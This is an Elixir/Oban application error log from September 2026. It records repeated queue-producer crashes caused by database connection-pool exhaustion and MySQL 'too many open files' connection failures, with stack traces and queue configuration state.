** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1879ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:30:47.241599Z], limit: 5, uuid: "8e6bd768-1ddd-4ee5-a3d1-c8b3b8dde128", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:30:47.241605Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.62188>, refresh_timer: #Reference<0.2525715032.1068498948.63044>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:31:00.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1831ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:30:47.239863Z], limit: 50, uuid: "e3a8be74-3445-4f63-adf5-2f5419ddcbf4", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:30:47.239870Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.62189>, refresh_timer: #Reference<0.2525715032.1121189889.195442>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:31:00.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1895ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:30:47.239163Z], limit: 3, uuid: "7c9b0077-8c5b-4e80-bc35-aa3313c6246c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:30:47.239168Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.63051>, refresh_timer: #Reference<0.2525715032.1068498948.62991>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:31:00.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1880ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:30:47.239466Z], limit: 10, uuid: "44c008b3-515b-4744-8b13-963e09395d40", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:30:47.239471Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.63050>, refresh_timer: #Reference<0.2525715032.1068498948.63000>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:31:00.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1825ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:30:47.241587Z], limit: 20, uuid: "8a7244ff-d6db-4ea7-af54-a30277e13c78", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:30:47.241594Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.63049>, refresh_timer: #Reference<0.2525715032.1068498948.63045>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:31:00.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1814ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:30:47.238777Z], limit: 5, uuid: "a83795d4-13d4-4da4-b249-0c4fbe4a1aea", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:30:47.238784Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.62187>, refresh_timer: #Reference<0.2525715032.1077673987.41555>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:31:00.692000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:31:02.131000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:31:02.419000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:31:03.018000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:31:04.774000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:31:05.888000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:31:07.383000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:31:09.874000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:31:12.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 819ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:31:00.238861Z], limit: 10, uuid: "769e0e3d-d1b6-4008-9f76-76848e74a26a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:31:00.238867Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.62435>, refresh_timer: #Reference<0.2525715032.1121189889.195784>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:31:12.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 820ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:31:00.238603Z], limit: 5, uuid: "02281989-bd80-4fdb-b2a2-91de6086c04b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:31:00.238609Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.62434>, refresh_timer: #Reference<0.2525715032.1068498948.63089>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:31:12.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1047ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
